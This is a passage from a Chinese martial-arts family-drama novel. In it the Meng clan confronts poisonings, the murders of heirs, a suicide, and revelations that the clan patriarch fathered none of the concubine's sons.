“一个多月前?”金老爷子算着日子道,“我记得那时你给我发帖子,请我来参加传位大典。”
孟剑雨沉闷点头,“传位大典是缓兵之计,那时我只发现身体有异,并不知是被人下毒所致,便想把堡主之位传下去,卸下重担,专心养病。”
孟天半信半疑地瞥了孟剑雨一眼,“你要传位,要养病,给我和阿瑜发什么帖子?”
被点名的孟瑜,也看向孟剑雨,压抑着眼中恨意,没有言语。
等孟家堡这堆破事处理完后,他还要继续找孟剑雨算账。
“你老子我都快死了!你这个不孝女,不该回来看看吗?”
孟剑雨火冒三丈,指着孟天训斥。
“你倒好,半个月的路,走了一个月都没到,要不是老子机智,真被你熬死了!”
“又不是我给你下毒,让你生病,你冲我吼什么?”
孟天最烦孟剑雨吼她,脾气上来,直接大声吼回去。
“江湖险恶,你在孟家堡土皇帝当久了,过得太安逸舒坦,丧失了最基本的警觉,被身边人算计,还好意思拿出来说,我都替你害臊。”
孟剑雨被孟天的话噎住,脸红一阵白一阵,指着孟天的手都气得发抖。
眼见父女二人又起争执,谢清源安抚地顺着妻子孟天的背。
“娘子别气,当时孟堡主以为自己命不久矣,想要见子孙最后一面,也是人之常情,他对身边人起疑,难辨善恶,四面楚歌,或许也有向你们求助的意思。”
“向我求助?”孟天没好气地翻了个白眼,“我们已经断绝父女关系了,他凭什么觉得我会帮他?”
要不是孟瑜突然出走,很可能来了孟家堡,孟天不一定会带着孟蕊过来。
一直坐在旁边,静观事态变化的杨玄杉,突然对孟剑雨开口:
“父亲,您若是怀疑堡内有人害您,为何不直接调查?就算是母亲她……”
她看了一眼与田管家很可能有染的苗氏,果断改变了称呼。
“就算是苗氏和田管家沆瀣一气,您还有我们这些儿孙媳妇,都会为您差遣。”
杨玄杉觉得,孟剑雨身为堡主,发现有人要害自己,不展开调查,揪出要害他之人,反而又是要传位,又是假死脱身,十分不合常理。
“你们?”
孟剑雨嗤笑道。
“你们这些人,谁不盼着我早点死?”
杨玄杉一怔,“怎会……至少我没有。”
孟剑雨嘲讽地看着她,“你没有吗?杨氏,你一心想要你儿子继承孟家堡,我活着,不就是挡了他的路?”
“子俊是您的嫡孙,本就该他继承孟家堡,谁都会这样想。”
杨玄杉没有掩藏自己的野心,直言道。
“可是,我们从没有盼着,要您去死啊!”
孟剑雨防备着她们所有人,让杨玄杉觉得委屈。
“这些年,我身为儿媳,操持堡内事务,对您恭顺孝敬,没有一日懈怠,到头来,您竟只觉得我盼着您死?”
“你到底怎么想,你自己清楚。”
孟剑雨不为所动,语气冰冷。
“还有你养的好儿子,拿老夫的葬礼做噱头,对外售卖请帖,一千两一张的请帖,为了敛财,毫无廉耻,丢尽孟家堡的脸面!”
杨氏咬了咬牙,怨恨道:
“子俊那也是为了孟家堡赚钱!您知道堡内每月要多少开销?您知道您和您儿子养的那些女人,每个月要花多少银子?这次葬礼又花了多少银子?
各种花销,各处打点,孟家堡就快要入不敷出了,子俊不过是用葬礼的名头赚些银子,又有什么错?”
孟剑雨不悦地皱眉,“你是怎么打理家业的?孟家堡怎会入不敷出?”
这些年,孟剑雨醉心武学,向来只管堡中大事,钱财小事,他很少过问。
孟家堡祖上留下的家产丰厚,良田商铺每月进账不少,他没想到,今日竟听说堡内入不敷出!
“您不知道?”杨玄杉怀疑道,“堡内支出都是母……苗氏说了算,有些开支我觉得不妥,但她说是您的授意,子俊对外高价售卖请帖,也是苗氏准允……”
望着孟剑雨茫然中带着杀意的眼神,杨玄杉终于回过味来,诧异地看向地上的苗氏。
“那些银子该不会……都被你们贪了?”
杨玄杉突地站起来,激动地指着苗氏。
“你和田管家,贪了堡内大笔银钱,怕被父亲发现,所以对父亲下毒?”
“咳咳……没那回事,你不要胡言!”
苗氏跪坐在地上,手撑着地面,极力否认。
她脸上精致的妆容已花,眼中浸润着泪水,孤注一掷地望向孟剑雨。
“老爷,您是不是听了他人谗言,说妾身贪图堡内钱财,下毒害您?那些都是污蔑造谣,您万不可相信啊!”
苗氏一边泪眼涟涟地诉衷肠,一边跪爬到孟剑雨脚边,像抓住最后的救命稻草般,抱住孟剑雨的腿,眼神怨毒地投向旁边的孟天。
“老爷,是不是大小姐回来,和您说我的坏话了?您知道的,她一向对妾身有恶意,她说的话,怎么能信呢?”
见孟剑雨只目光沉沉盯着自己,沉默不言,苗氏心中燃起了一丝希望。
听到苗氏的话,孟天对孟剑雨嫌恶撇嘴。
“一大把年纪了,你不会还信她撒娇卖乖这一套吧?恶心!”
苗氏不受孟天影响,将孟剑雨的腿抱得更紧,仰望着孟剑雨,眼神崇拜,嗲着嗓子说:
“老爷,妾身与您相伴三十余载,为您生养两个儿子,对您一心一意,事事以您为先,绝不会害您的。”
她回头看了一眼正堂中被绑着的儿子孟简,向孟剑雨求道:
“简儿是不是得罪了大小姐,才被绑成这样?孩子到底大了,这么绑着多不好看,求您允准,给简儿松绑吧。”
孟剑雨定定看着她,脸上浮现出一抹恶劣的笑。
“看来你还不知道,你的好儿子都做了些什么好事。”
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第244章 终于承认
“什、什么事?”
苗氏心中升起不好的预感,憔悴的脸上一片迷茫。
孟剑雨脸上恶劣的笑扩大,“既是你儿子做下的事,你自己去问他。”
他扯开苗氏抱住他腿的双手,腿上略微用力,将苗氏甩了出去。
“啊!”苗氏痛呼一声,跌坐在地上。
她从地上爬起来,夹着嗓子对孟剑雨娇嗔道:
“老爷,您弄疼妾身了!”
“咦——!”刚好坐在苗氏旁边椅子的纪华筠,被苗氏的语气恶心到,“大娘您贵庚啊?撒娇也要看场合吧?”
苗氏侧头看向纪华筠,对这个穿着孟家堡护卫服的女子,没有印象,同时对她嫌弃自己的话,很是不快。
“你是谁?凭什么坐在这里?”
“我凭什么?”说到这个,纪华筠就生气,“就凭你儿子追杀我,我坐这里找你们孟家堡要赔偿,有什么问题?”
“追杀?我儿为何追杀你?”
苗氏盯着纪华筠,此人女扮男装,出言不逊,看起来就不是好东西。
“难道我儿上山搜捕的就是你?你是杀我孙儿的凶手?”
想到这里,苗氏惊恐地后退,缩向孟简身边。
“简儿,她是不是那个凶手?为什么你们不把她抓起来?”
孟简抬眼看了看苗氏,脸色僵硬,垂眸不语。
苗氏不解地追问:“简儿,你说话呀,她到底是何人?还有你父亲说的,你做了什么事?快告诉为娘。”
面对亲生母亲,孟简对自己的所作所为,难以启齿,他偏过头,避开苗氏的目光,继续闭口不言。
“简儿,你为什么不回答我?”
苗氏伸手去摇晃孟简,指着纪华筠问。
“这个女子,到底是不是杀害我几个孙儿的凶手?她为何说你追杀她?”
再次被说成是凶手的纪华筠气笑了,“你们当真是母子连心,污蔑起人来的口气,都一模一样。”
坐在纪华筠身边的孟瑜,安抚地拍了拍纪华筠的肩,平静道:
“别与这种人置气,直接告诉她,杀死她两个孙子的凶手,是她面前的儿子。”
“你说什么?!”
苗氏猛地扭头,瞪向孟瑜。
“你说谁杀了我两个孙子?”
孟瑜沉静地看着她,重复道:“你的儿子孟瑜,杀了你的孙子孟子俊和孟子仁。”
苗氏的双眼骤然睁大,瞳眸震颤,原本就苍白的脸色更白了,仿佛失去了所有血色。
“不可能!你在撒谎!”
苗氏冲孟瑜凄厉嘶喊。
“我儿怎会杀子俊和子仁?他是他们的亲叔叔啊!”
在场另一个震惊失色的人,是孟简的妻子蒋氏。
蒋氏不可置信地摇着头,“之前不是澄清过了,他们不是我夫君杀的,子俊被害的时候,我夫君在灵堂守灵,下人们都可以作证!”
“夜晚在灵堂上的那个,是孟简的替身。”
孟简语气冷淡平直,不带一丝情绪。
“前天夜里,我亲眼看到,孟简在孟子俊回房睡觉后,悄悄潜入孟子俊的房间,片刻之后,孟简扛着孟子俊出来,把他挂在了院子里的梧桐树上。”
“你看到他杀死了子俊!”
杨玄杉尖叫着站起来,指着孟瑜质问。
“你看到孟简进子俊的房间,为什么不去救他?”
孟简淡淡掀起眼皮,冷然的目光扫过杨玄杉,“我不认识他,为何要救?”
“你就眼睁睁地看着一个活生生的人,在你面前被害死?”
只要一想到儿子的死,杨玄杉就感到悲痛欲绝。
孟简收回视线,客观描述:
“我只看到孟简跟踪和进屋,他如何杀死孟子俊的,我不知道,但把孟子俊尸体挂到树上的,确实是孟简。”
杨玄杉咬牙切齿地盯着孟瑜,“你真是个冷血无情之人!”
孟瑜无所谓他人怎么说,用手支着头休息,不予理会。
孟蕊却不能听着兄长被指责,而无动于衷。
她感谢杨玄杉在树林中出手相助,但杨玄杉不该为了发泄自己的痛苦,责怪兄长。
“杨女侠,你儿子被害,我们都理解你痛苦的心情,但此事怪不到我兄长头上,他只是恰好路过看到,顶多算是证人,而且他也无法预判,孟简进入房间是去杀人啊。”
孟蕊出声为孟瑜说话。
“再说,因我娘亲与孟家堡其他人交恶,我和我兄长之前都不敢暴露身份,恐引来苗氏母子的对付,所以,请你理解我兄长当时的处境,确实不适合出手。”
孟蕊轻言细语的用心解释,让杨玄杉心中稍微好受了一点,但她还是不能接受。
“你不会武功,被孟简追杀得到处跑就算了,但你哥孟瑜,他的武功多厉害呀!都能打败父亲了,他当时若是出手,一定可以制止孟简,救下我儿!”
“玄杉,别说了。”杨玄松走到她身边劝说,“过去的事,已经改变不了,节哀吧。”
杨玄杉也知多说无益,颓丧地跌坐在椅子上,双手捂住脸,无声流泪。
杨玄松陪在她身边,目光不经意地望向闭目养神的孟瑜,思量着以现在的局势,下一任孟家堡堡主不是孟天,就是孟瑜。
一直闷头装死的孟简,听到杨玄杉的话,忽的抬起头来,盯住孟瑜。
“你就是孟瑜?你打败了我父亲?”
孟瑜睁开眼,鄙夷地低头看他,默认了他的话。
孟简的视线,从孟瑜移到孟天,最后落在孟剑雨身上,忽然癫狂大笑起来。
“哈哈哈……父亲,您早就做好选择了是吗?可怜我手刃至亲,白忙一场……哈哈哈……”
他身侧的苗氏闻之大惊,“简儿,你说什么手刃至亲?你真的杀了子俊和子仁?”
孟简逐渐停下笑声,神情悲哀地看向苗氏。
“娘,是我……杀了他们……”
“啪!”
苗氏一耳光打在孟简脸上,厉声呵斥。
“畜生!你怎可下此狠手?”
一直趴在旁边半死不活的田管家,挣扎着翻过身,面向孟简和苗氏的方向,艰难地问:
“为什么?你为什么要杀了他们?”
孟简看都没看田管家一眼,只盯着苗氏,咧着嘴,笑得讽刺。
“娘,您忘了,这是您选的结果啊。”
第245章 惨痛报复
“我选的?”
苗氏怔住,愤怒地抬手,又一耳光呼上孟简的脸。
“胡说八道!我何时让你去杀人了?他们是你的亲侄子啊!”
孟简被打得脸贴地,他唇边勾起残忍的狞笑,用舌头顶了顶被打的那边脸,盯着苗氏说:
“娘,死在我手上的,不止亲侄子呢。”
孟简的眼神疯狂,带着几分挑衅意味。
“您的儿子,我的亲大哥,那个被您养废的孟繁,也是死在我手上。”
苗氏整个人僵住了,“你说什么?你还杀了繁儿?”
一直坐在角落、默默无闻的孟子信,诧异地抬起头,“我父亲……也死了?”
“不会的,繁儿不会死的。”
苗氏恍然从地上爬起来,转动着身子环视四周,后知后觉地发现,孟繁竟真的不在这里。
“繁儿?繁儿你在哪儿?”
苗氏无助地喊着大儿子的乳名,在屋子里四处走动,走到孟子信身边,焦急地问:
“子信,你父亲呢?你看到你父亲了吗?”
孟子信被她痴狂的样子吓了一跳,连忙摇头,“没、没看到。”
苗氏失望地退后,又跑去抓住杨玄杉,急切地问:
“杨氏,你的夫君呢?繁儿怎么不在这里?他去哪儿了?”
杨玄杉本就厌恶时常磋磨她的苗氏,而现在苗氏的儿子杀了她的儿子,杨玄杉更不耐烦应付苗氏,直接把苗氏推开,毫不避讳地说:
“我没有夫君!你的儿子孟繁他死了!被你的儿子孟简杀死了!”
“不会的!”苗氏颤抖着身子,不断摇头,“他们是兄弟啊!为什么要自相残杀?”
“还不是因为你要护着孟简!”
杨玄杉看到苗氏这副柔弱做作的样子,就气不打一处来。
“昨晚我就告诉过你们,是孟简杀了子俊和子仁,你和孟繁都不相信,还命令护卫对我出手,现在好了?你把杀人凶手放出去,又害死了孟繁,都是你的错!”
苗氏看着杨玄杉,眼神发直,口中不断重复着,“我不信,我不信,繁儿只是还没回来,你们骗我,骗我……”
“孟繁被孟简用石头砸死,我们亲眼所见。”纪华筠作证,“孟简把孟繁的尸体抛下了悬崖,你现在去找,应该还能找到。”
她觉得这个苗氏好奇怪,孟简都承认杀人了,她不怪孟简,反而去找杨玄杉的麻烦。
苗氏转头瞪向纪华筠,“你说谎!繁儿不会死的!”
“孟繁就是死了!”
纪华筠强调了一句后,看向地上被捆绑躺着的孟简。
“孟简,你杀死你哥孟繁,不就是为了抢夺堡主之位吗?为什么要说是你母亲的选择?”
她实在好奇,难道这背后还有苗氏的手笔?
苗氏听到纪华筠的话,也回过头看向孟简,表情惨淡地乞求:
“简儿,告诉母亲,你刚刚说的那些,都是骗我的对不对?你是娘的好儿子,你怎么会杀了你的哥哥和侄儿呢?”
苗氏一步一步缓缓走到孟简身边,突地跪坐在地上,捧起孟简的脸。
“母亲从小就教你们,要兄弟和睦,兄友弟恭,你们几乎都不闹架,我也从没有让你要去杀人啊!你不会杀他们的,对不对?”
“不对!”
孟简注视着苗氏含泪的双眼,吐出让她无法接受的答案。
“我会杀了他们,都是母亲您的选择。”
看到苗氏脸上的血色如退潮般散尽,孟简嘴角浮起报复的快感。
“母亲,从小到大,无论是武功、读书,还是品貌、私德,我都比他优秀,可是您的眼中,为什么只有孟繁那个废物?
我什么都听您的,任何时候都护着您,就连您贪孟家堡的钱贴补娘家,和田管家合伙对父亲下药,这些事我都帮您瞒下了,不然您以为,凭你们那点本事,能逃得过父亲的法眼?
可是,您太让我失望了。
父亲一‘死’,您就对我说,堡主之位是孟繁的,让我以后好好辅佐他。
呵呵,让我去辅助一个沉迷酒色、一无是处的废物。
让我这一辈子,都要处于孟繁和其子孙的压制之下,让我如何能忍?
堡主之位是我的!所有挡我路的人,都该死!”
孟简直视苗氏的眼神中,染上了浓重的恨意。
“而且,孟繁死的不冤,我杀了他的儿子,他也杀了我的儿子,我理所应当找他报仇,为我儿偿命!”
苗氏被孟简眼中的恨意吓到,松开捧住孟简脸的手,“你、你疯了!”
“母亲,我没有疯,是您疯了,居然想要捧一个废物当堡主。”
孟简躺在地上,嘲讽地望着苗氏。
“我知道您想要什么,孟繁无能无德,但对您顺从,他当了堡主,您就能继续在孟家堡作威作福,拿孟家堡的东西去贴补娘家,而我,是不会允许您这样做的。”
“我、我没有!”苗氏心虚地不敢看其他人,一味否认,“我没有做那些事。”
“母亲啊母亲,您不但贪婪,而且愚蠢。
父亲都用假死来对付我们了,您居然指望撒下娇、撒个谎能蒙混过去,真是糊涂啊。”
孟简动了动脑袋,望了眼坐在上首的孟剑雨,又定定看向旁边的孟天,凄凉地笑着说。
“孟天,你确实很强,我打不过你,甘拜下风,你要是我同父同母的亲姐姐就好了,有你这么强的人坐镇孟家堡,我绝不会和你抢堡主之位。”
第一次听到孟简的夸赞,孟天颇为意外地挑眉。
“说话这么动听,你是想求我放过你?”
孟天的目光扫过正堂中的众人,冷然道。
“你杀了人,就算我不计较,这里的其他人,也不会饶过你。”
杨玄杉立即站了起来,她等的,便是手刃杀子仇人的那一刻!
“嫂子不用激动,我自被你们抓了,就没想过之后还能活着。”
孟简瞄了杨玄杉一眼,继续对孟天说。
“我只求你,放我的妻子女儿一条生路,让她们离开孟家堡。”
“夫君!”
蒋氏听到孟简如同交代后事的话,流着泪扑到孟简身上。
孟子倩呆呆地站在母亲身后,看着说话的父亲,不知所措。
孟天敛眸,不悦道:“你想多了,我与她们无冤无仇,岂会去伤害无辜妇孺?”
“我知道,你从小行事,便说一不二,我只想要你一个保证。”
孟简畏惧地瞄了一眼孟剑雨,对孟天求道:
“如果有人要伤害她们,求你看在她们柔弱可怜的份上,保下她们的命,我必不会叫你为难……呃!”
孟简突然痛哼一声,双目圆睁,嘴角流出鲜血,断绝了气息……
第246章 真相大白?
“夫君!”
蒋氏探过孟简的鼻息,爆发凄厉的哭喊。
苗氏看到小儿子也死了,一口气没上来,捂着心口,晕倒在地。
孟天急忙走过去,检查孟简的情况。
“他明知不可为,还要不顾反噬调动内力,引发体内严重反噬,自绝而死。”
孟天皱着眉头站起来,不理解孟简为何要这样做?
“孟简死了?我还没有为子俊报仇,他怎么能死?”
杨玄杉愤怒地冲过来,提剑刺入孟简胸口,将强忍的恨意,全都发泄出来。
她拔出剑,带出淋漓的鲜血,又将剑再次刺入孟简的腹部,看到孟简依然没有任何反应,终于接受孟简已经死去的事实。
“嫂子,我夫君已经死了,你的仇报了,求求你,给他留个全尸吧!”
蒋氏跪在杨玄杉面前,张开手臂,阻止杨玄杉再次对孟简出剑。
杨玄杉咬牙切齿地盯着孟简的尸体,心中那股郁气,依旧难以消散。
“大伯母,求求您,不要再伤害我爹爹了!”
一只小手拉住杨玄杉的衣摆,孟子倩也学着母亲蒋氏的样子,对着杨玄杉跪下,仰着满是泪水的小脸乞求。
“我爹爹已经知道错了,求求您,不要再拿剑刺他了。”
看着孟子倩可怜巴巴的小脸,杨玄杉出剑的手顿住,终是缓缓收回。
谢清源叫了侍卫进来,把孟简的尸体抬走。
蒋氏和孟子倩哭哭啼啼地跟着离开,处理孟简的后事。
谢清源目送他们离开,叹了口气,回头发现倒在地上的田管家,许久未动,不知何时,也已经气绝身亡。
谢清源扒开田管家的上衣,看到了他胸腹部红紫色的脚印。
“孟堡主宝刀未老,一脚就重伤了田管家的心脉,他能撑这么久,已是极限。”
孟剑雨冷漠道:“一个吃里扒外的下人而已,死了就丢出去。”
谢清源当然不会听他的把尸体丢出去,同样叫来侍卫,把田管家的尸体抬出去安放。
轮到昏迷在地上的苗氏时,谢清源没问孟剑雨的意见,直接让侍卫把苗氏抬去厢房,又请大夫过来医治。
孟剑雨淡漠地看着侍卫抬走苗氏,没有提出异议。
自确认孟简自戕而死后,孟天一直在观察孟剑雨的表情,没有找到半点悲伤或是不忍的表情。
相反,孟天发现孟剑雨时不时嘴角微勾,显然是满意这个结果,心中不由一沉。
“现在真相大白,真凶伏法,大家累了一上午,都各自回去休息吧。”
孟天朗声宣布。
“至于苗氏,要等她清醒后,再行处置。”
苗氏贪了孟家堡的银子,孟天不会轻易放过,贪了多少,都要给她吐出来!
孟子信一听能走,行了个礼,低着头,畏畏缩缩地溜了。
金老爷子早已疲累,唤来随从,扶着他回客院房间休息。
杨玄杉收剑入鞘,突然开口:
“孟天,你真好命,这下孟家堡,是你说了算。”
孟天平静地与她对视,“不是我的命好,是我只信我自己。”
杨玄松也想上前与孟天说话,被谢清源强势挡了回去。
杨氏兄妹也离开后,孟天让侍卫把纪华筠请回天源阁休息。
此时大门紧闭的正堂中,只剩孟天、谢清源、孟瑜、孟蕊一家四口,以及孟剑雨。
“怎么又把门关上了?”
孟剑雨不动如山地坐在上首,明知故问。
“不是说真相大白,真凶伏法,你们怎么不回去休息?”
“啪!”
孟天一掌拍在孟剑雨身侧的桌子上,忍无可忍道:
“别再装了!从现在开始,我们的对话不会传出去,你给我老实交代!孟子伦是不是你杀的?”
“你怎么会这样想?”孟剑雨泰然自若地坐着,“孟简不是说了,孟子伦是孟繁杀的,与我何干?”
孟天站在孟剑雨面前,抱着手臂,蹙着眉对他说:
“昨晚在孟子伦的院外,我与你交过手,我当时就觉得那黑衣人的武功招数很熟悉,但因发现院内走水,我一时不察,被你逃掉。
想来那时,你刚杀了孟子伦,又在院中放火后,翻墙逃出,恰巧被我碰上,是也不是?”
孟剑雨平静道:“你没有证据,况且孟子伦那孩子,也是我孙子,我没有理由杀他。”
“孟子伦,不是你的亲孙子。”
孟瑜沉沉开口,语气笃定。
“这就是,你要杀死他的理由。”
此言一出,满室皆静。
孟蕊看向孟瑜,二哥都这样说了,那她之前的猜测果然没错。
孟天惊疑不定,目光在孟剑雨和孟瑜身上来回打转,再想到孟剑雨说田管家是苗氏的奸夫,答案呼之欲出,却难以启齿。
谢清源也猜了出来,他没有孟天的顾忌,短暂的震惊过后,直接问孟剑雨。
“孟堡主,孟简是苗氏和田管家偷情生下的孩子?这可了不得呀!”
孟剑雨脸色铁青,带着杀意的眼神睨向谢清源,没有否认。
谢清源无视孟剑雨要杀人的眼神,回想着女儿孟蕊在路上和他说,孟剑雨亲眼看到孟繁被孟简打死而不出手阻止,那就是默许了孟简杀死孟繁,那岂不是……
“啊!难道说,孟繁也不是你儿子,所以,你眼睁睁地看着孟简杀了他?”
“这些都只是你们的猜测,他们的死,都与我无关。”
孟剑雨阴沉着脸,将自己撇得一干二净。
至少在外人看来,孟子俊、孟子仁、孟繁为孟简所杀,孟子伦被孟繁杀害,孟简自戕而死,孟剑雨是被夫人下毒不得不假死逃生的受害者,他几乎没有错处。
但熟悉孟剑雨的孟天,在得到孟瑜的提醒后,已经想通了关键。
“你太可怕了!”
孟天凝望着孟剑雨,眼中闪烁着不可置信。
“就算他们不是你的儿孙,那也是苗氏的错,他们无法选择自己的出身,你把他们驱逐离开孟家堡即可,怎么忍心赶尽杀绝?”
她尤记得小时候,亲眼见证孟剑雨有多宝贝孟繁和孟简两个儿子,而如今,孟剑雨竟用计引得孟繁和孟简互相算计,自相残杀,最终双双殒命。
“我终于明白,你为何要杀孟子伦了。”
第247章 谜团重重
孟天深深吸了一口气,紧紧盯着孟剑雨,一字一句道:
“苗氏背叛了你,与田管家通奸,生下孟繁和孟简,他们还串通一气,下药毒害于你。
你恨极了他们,要杀死所有苗氏通奸而产生的子孙,但你不想自己名声有毁,便想到了借刀杀人。”
孟天嗓音低沉,隐含着怒意和悲凉。
“你先是用堡主之位做诱饵,激发孟简杀死了孟子俊和孟子仁。
或许在杀孟繁时,孟简犹豫了,所以你亲自下手,杀了孟子伦,嫁祸给孟繁,挑拨孟简为子报仇,杀了孟繁。
孟简临死前,应是猜到了你的所做作为,他害怕你会杀了他的女儿,所以才会求我保住他的妻女,并毫不犹豫地自戕而死。
他不只是在求我,更是在求你,让你看在他主动去死的份儿上,饶过他妻女性命。
孟堡主,我说的,对吗?”
孟天冷眼看着孟剑雨,等待着他的回应。
孟剑雨回视孟天,扯了扯嘴角,露出一个凉薄的笑。
“老夫说了,这些都是你们的猜测,没有证据,老夫是差点被那贱妇毒杀的受害者,假死后躲上影山,没有杀任何人。”
他眼眸深沉晦暗,唇边的笑容却在扩大。
“不过,听你这么说,我应该是恨他们的,不仅是因为他们要害老夫,他们更要害你,全都死了,倒也干净。”
“他们害我?”孟天冷嗤道,“我这辈子被害得最惨的一次,就是十二岁那年你废了我的武功,差点让我再也无法习武!是你害我!”
“若不是那贱妇孽子哭闹不止,说你动手打伤了他们,我当年怎会下狠手?”
孟剑雨突然加重语气,愤恨地说。
“我是被他们蛊惑,一时怒不可遏,怕你真的杀了他们,才会……”
“别找借口了!”
孟天打断他,声音冷厉。
“苗氏是有些心机,但不至于能瞒得过你,是你对我持有恶意,他们一哭一闹,你就找到了借口,是非不分地来打压训斥我。
我当年也是蠢,一听他们要搬进我娘的院子,就跑去阻拦,与你正面冲突,刚好被你找到机会,废了我的武功。”
孟天冷静自持地说着,面对孟剑雨时,眼中不带恨意,只有已经身为强者的释然。
“孟剑雨,你能告诉我,当年你为什么如此恨我吗?”
孟剑雨眼神一凛,“我没有……”
“你有!”孟天肯定地说,“我知道你恨我,我感受得到!”
孟蕊站在孟天身侧,虚虚扶住娘亲,满眼心疼,又不禁疑惑。
会有亲生父母,恨自己的孩子?
谢清源站在孟天另一侧,温声劝孟剑雨:
“孟堡主,都走到如今这个地步了,您还有什么好隐瞒的呢?咱们坦诚一些,把话都说清楚,不好吗?”
孟剑雨敛眸否认,“我没有事瞒着你们。”
“冥顽不灵!你爱说不说!”
孟天冷哼一声,转身坐回椅子,懒得再和孟剑雨说话。
儿时的答案,对她来说已经不再重要,她早就不是当年那个,被父亲重伤废去武功的无助孩子了。
但孟瑜,势要对孟剑雨追问一个答案。
“孟剑雨,三年前,你到底对我师父说了什么?”
孟瑜不知从哪里弄到的匕首,此时已经抵在了孟剑雨的脖子上,割出了一道浅浅的伤口,冒出了血丝。
孟剑雨浑然不觉危险,眼神欣赏地望着孟瑜,答道:
“时间太久,我不记得了,大概是与我弟弟随意聊了几句家常而已,也值得你如此激动?”
“怎么可能只是家常话?”
孟瑜表情凶狠,瞳眸黑沉,威胁道。
“你再不老实回答我,我能立刻杀你!”
“那你就动手吧。”孟剑雨依旧淡定处之,仿佛脖子上被架上匕首的不是他一样。
孟瑜眼神一横,手上又加了两分力,怒喝道:
“说!你到底和我师父说了什么!”
他手上的力道不断加重,孟剑雨脖子上的刀口,流出了鲜红的血滴。
“阿瑜,冷静些!”谢清源抓住孟瑜持刀的手,“你要知道什么,我派人帮你去查。”
孟瑜横了谢清源一眼,“当时屋内只有他们两人,你要去哪里查?”
“阿瑜,叔父去世前嘱咐过,让我们放下那些事,不要追究孟剑雨的过错,你忘了吗?”
孟天提醒道。
三年前,孟剑雨挑拨霸天帮的内部叛乱,致孟逐风受伤,最终伤重不治而亡。
孟天闻讯赶到时,只来得及见孟逐风最后一面。
孟逐风要求她和孟瑜,不得去找孟剑雨寻仇。
“我没忘。”
孟瑜手上力道撤回几分,匕首依然横在孟剑雨脖间,
“可是,我求师父不要死,他也没有听我的话。”
孟瑜恨恨瞪着孟剑雨,对孟天说。
“阿娘,师父本来伤得不重,只要好好养伤,他不会死的。
是这个老家伙,和师父说了不该说的话,逼得师父心灰意冷,一心求死……”
孟天半信半疑,“可是霍神医说,叔父是伤重不治。”
“霍神医骗我们的!”
孟瑜咬牙切齿地解释。
“是师父要求他这样做,一年前,我去找过霍神医,我用他孙子的性命威胁他,终于让他说了真话。
师父受伤后,原本喝药养伤,一切正常,但在抓住孟剑雨,与他谈话后,师父就存了死志。
他不好好养伤,也不喝药,还把一身内力都传给我,硬是把自己拖成了重伤……
是孟剑雨,害死了师父!”
“啪!”孟天蕴含内力的一掌拍向桌子,直接把桌子拍散架。
“阿瑜说的,是不是真的?你简直丧心病狂!”
她腾地站起来,悲愤地怒视孟剑雨。
“叔父知道是你和叛徒联合对付他,他念你是他兄长,好心放了你,你竟害死了他!”
别说是孟瑜了,得知真相的孟天,都想杀了孟剑雨。
而孟剑雨,神色恹恹地看着被孟天拍碎的桌子,微微叹气。
“不管你们信不信,我本意不是要让他去死,确实只与他说了些旧事家常,我也没有料到,他会那么想不开……”
“你到底和叔父说了什么?”孟天急迫地追问,“你给我说清楚!”
“我忘了。”孟剑雨淡淡一言后,便沉默不语。
孟天被他激起怒气,“你忘了?好啊!那我就打到你想起来为止!”
第248章 并非父女
孟天说打就打,一拳头抡上孟剑雨的脸。
孟剑雨偏头躲开,谢清源连忙拉回孟瑜的手,才没让孟剑雨的脖子撞上匕首的锋刃。
“放开我!我也要揍他!”
孟瑜推开谢清源,与孟天配合,向孟剑雨攻去。
被儿子推开的谢清源,很无奈,“不是,就算是审问,也可以好好说话呀?”
谢清源阻拦不住,只能拉着女儿孟蕊,离开战斗中心,以免被误伤。
孟剑雨一手一下,格挡住孟天和孟瑜的攻击。
在他俩一起攻来时,孟剑雨连人带着椅子倒地,几个翻滚,顺势避开了两人的合击。
“叩叩叩”
突然传来敲门声,随之而来的是侍卫的禀报。
“大人,苗氏一到厢房就醒了,她不要大夫医治,一直吵嚷着要见夫人,说有要事告知,现正在大门外等候。”
孟天的动作一顿,“苗氏要见我?让她进来。”
孟瑜也不自觉地回头,看向门的方向。
正堂门打开,苗氏跌跌撞撞地冲了进来。
一看到苗氏,孟剑雨从地上一跃而起,挥出一掌,直击苗氏而去。
“啪!”
孟瑜疾步上前,出掌对冲,拦下了要攻击苗氏的孟剑雨。
“你怕她说什么?想要杀人灭口吗?”
孟剑雨冷嗤一声,“她这样的毒妇,难道我不该杀?”
苗氏见状,憔悴衰败的脸上不见害怕,反而癫狂地大笑起来。
“哈哈哈,老爷啊老爷,你就是怕了,怕我说出你这辈子,都不可能有自己孩子的事实,哈哈哈!”
“你说什么?!”
孟天心头一颤,几步奔到苗氏面前。
“你这话,是什么意思?”
苗氏看到孟天紧张的样子,笑得更得意了,“什么意思?就是字面上的意思,大小姐,你听不懂啊?”
孟天怔怔看着苗氏,一股凉意顺着背脊,直冲脑门。
孟剑雨不可能有自己的孩子,难道她,也不是孟剑雨的孩子吗?
“哈哈哈……”苗氏又大笑起来,“怎么,你不信啊?你爹他呀,真的生不出孩子的!”
孟天全身僵硬,张了张嘴,不知要如何问出口。
跟在孟天身后的孟蕊,扶住母亲,对苗氏问道:
“所以,你现在是承认,孟繁和孟简,都不是孟堡主的儿子了?他们的生父,果然是田管家吗?”
“简儿,确实是田季达的儿子。”
苗氏一边说,一边挑衅地看向孟剑雨。
“繁儿嘛,是我与表哥的儿子,他们不是同一个父亲,但都是我的儿子。”
孟剑雨大受刺激,朝苗氏怒叱:
“贱妇!我刚才就该直接杀了你!”
若不是掌力不敌孟瑜,被阻拦无法上前,孟剑雨现在就要冲过去取了苗氏性命。
“老爷,您气什么?妾身当年跟您时,确实是清清白白的身子。”
苗氏扭动了下腰肢,捋了捋耳边的碎发,对孟剑雨抛了个媚眼。
“可惜啊,您自己不争气,我被您养在外边快一年,同床的次数也有百十次,可我一直都未能有孕。
还是我那丰神俊朗的表哥厉害,一次回娘家的意外,我就怀了他的种,我的繁儿,就是那时候有的。
妾身还记得,老爷你得知我有孕时,高兴得不得了,立马就安排我嫁入孟家堡哈哈哈……”
她猖狂地笑着,笑累了,又继续说:
“至于简儿,是在老爷你外出时,田季达爬上了我的床,成就了几次好事,便有了身孕。
田季达毕竟是个下人,虽然对我忠心,但我不是很喜欢他。
与和表哥生下的繁儿相比,我确实没那么喜欢简儿,这也是没办法的事。”
苗氏顿了顿,咳嗽了两声,以手按着心口,嚣张地瞪向孟剑雨。
“老爷啊,你难道从来没有怀疑过,你后院的女人不止我一个,为什么其他的妾室,一个都没有过身孕吗?
